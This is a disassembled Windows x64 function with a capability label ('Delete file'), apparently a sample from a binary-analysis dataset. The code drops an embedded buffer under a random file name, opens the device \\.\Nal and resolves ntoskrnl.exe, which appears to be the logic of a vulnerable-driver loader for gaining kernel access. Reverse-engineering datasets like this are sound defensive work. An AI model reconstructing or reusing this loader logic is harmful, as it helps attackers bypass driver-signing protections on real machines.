Function at 0x140043201
Capabilities:
Delete file

Disassembly:
jmp 0x140077a80
push rbp
push rdi
sub rsp, 0x3d8
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x86
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x1400f8040]
xor rax, rbp
mov qword [rbp + 0x380], rax
lea rcx, [0x14010b130]
call fcn.1400432f1
nop
xor ecx, ecx
call fcn.140080580
mov qword [rbp + 0x378], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov rcx, qword [rbp + 0x378]
imul ecx, eax
mov eax, ecx
mov ecx, eax
call qword [sym.imp.ucrtbased.dll_srand]
nop
call fcn.140042374
movzx eax, al
test eax, eax
je 0x140077aff
mov rax, 0xffffffffffffffff
jmp 0x140077dfd
mov r8d, 0x64
xor edx, edx
lea rcx, [0x1400f8b60]
call fcn.140042a1d
nop
call qword [sym.imp.ucrtbased.dll_rand]
cdq
mov ecx, 0x14
idiv ecx
mov eax, edx
add eax, 0xa
mov dword [rbp + 4], eax
mov dword [rbp + 0x24], 0
jmp 0x140077b3b
mov eax, dword [rbp + 0x24]
inc eax
mov dword [rbp + 0x24], eax
mov eax, dword [rbp + 4]
cmp dword [rbp + 0x24], eax
jge 0x140077b74
call qword [sym.imp.ucrtbased.dll_rand]
cdqe
xor edx, edx
mov ecx, 0x34
div rcx
mov rax, rdx
lea rcx, str.abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
movsxd rdx, dword [rbp + 0x24]
lea r8, [0x1400f8b60]
movzx eax, byte [rcx + rax]
mov byte [r8 + rdx], al
jmp 0x140077b33
lea rcx, [rbp + 0x48]
call fcn.14004169f
nop
lea rcx, [rbp + 0x48]
call fcn.140042752
movzx eax, al
test eax, eax
je 0x140077bae
mov qword [rbp + 0x228], 0xffffffffffffffff
lea rcx, [rbp + 0x48]
call fcn.140042da6
mov rax, qword [rbp + 0x228]
jmp 0x140077dfd
lea rcx, [rbp + 0x48]
call fcn.140041b5e
mov rcx, rax
call qword [sym.imp.ucrtbased.dll__wremove]
nop
mov r8d, 0x8708
lea rdx, [0x1400ce1d0]
lea rcx, [rbp + 0x48]
call fcn.1400419e7
movzx eax, al
test eax, eax
jne 0x140077bfe
mov qword [rbp + 0x248], 0xffffffffffffffff
lea rcx, [rbp + 0x48]
call fcn.140042da6
mov rax, qword [rbp + 0x248]
jmp 0x140077dfd
lea rcx, [rbp + 0x48]
call fcn.1400414f1
movzx eax, al
test eax, eax
jne 0x140077c41
lea rcx, [rbp + 0x48]
call fcn.140041b5e
mov rcx, rax
call qword [sym.imp.ucrtbased.dll__wremove]
nop
mov qword [rbp + 0x268], 0xffffffffffffffff
lea rcx, [rbp + 0x48]
call fcn.140042da6
mov rax, qword [rbp + 0x268]
jmp 0x140077dfd
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
lea rcx, str..Nal
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rbp + 0x88], rax
cmp qword [rbp + 0x88], 0
je 0x140077c8d
cmp qword [rbp + 0x88], 0xffffffffffffffff
jne 0x140077cba
mov rcx, qword [rbp + 0x88]
call fcn.140043049
nop
mov qword [rbp + 0x288], 0xffffffffffffffff
lea rcx, [rbp + 0x48]
call fcn.140042da6
mov rax, qword [rbp + 0x288]
jmp 0x140077dfd
lea rdx, str.ntoskrnl.exe
lea rcx, [rbp + 0x2a8]
call fcn.140041f82
nop
lea rcx, [rbp + 0x2a8]
call fcn.1400411f9
mov qword [0x1400f8bc8], rax
lea rcx, [rbp + 0x2a8]
call fcn.140041636
nop
cmp qword [0x1400f8bc8], 0
jne 0x140077d25
mov rcx, qword [rbp + 0x88]
call fcn.140043049
nop
mov qword [rbp + 0x2e8], 0xffffffffffffffff
lea rcx, [rbp + 0x48]
call fcn.140042da6
mov rax, qword [rbp + 0x2e8]
jmp 0x140077dfd
mov rcx, qword [rbp + 0x88]
call fcn.140041d39
movzx eax, al
test eax, eax
jne 0x140077d65
mov rcx, qword [rbp + 0x88]
call fcn.140043049
nop
mov qword [rbp + 0x308], 0xffffffffffffffff
lea rcx, [rbp + 0x48]
call fcn.140042da6
mov rax, qword [rbp + 0x308]
jmp 0x140077dfd
mov rcx, qword [rbp + 0x88]
call fcn.140043265
movzx eax, al
test eax, eax
jne 0x140077da2
mov rcx, qword [rbp + 0x88]
call fcn.140043049
nop
mov qword [rbp + 0x328], 0xffffffffffffffff
lea rcx, [rbp + 0x48]
call fcn.140042da6
mov rax, qword [rbp + 0x328]
jmp 0x140077dfd
mov rcx, qword [rbp + 0x88]
call fcn.140042897
movzx eax, al
test eax, eax
jne 0x140077ddf
mov rcx, qword [rbp + 0x88]
call fcn.140043049
nop
mov qword [rbp + 0x348], 0xffffffffffffffff
lea rcx, [rbp + 0x48]
call fcn.140042da6
mov rax, qword [rbp + 0x348]
jmp 0x140077dfd
mov rax, qword [rbp + 0x88]
mov qword [rbp + 0x368], rax
lea rcx, [rbp + 0x48]
call fcn.140042da6
mov rax, qword [rbp + 0x368]
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x1400d9950]
call fcn.140042cd4
mov rax, rdi
mov rcx, qword [rbp + 0x380]
xor rcx, rbp
call fcn.140042095
lea rsp, [rbp + 0x398]
pop rdi
pop rbp
ret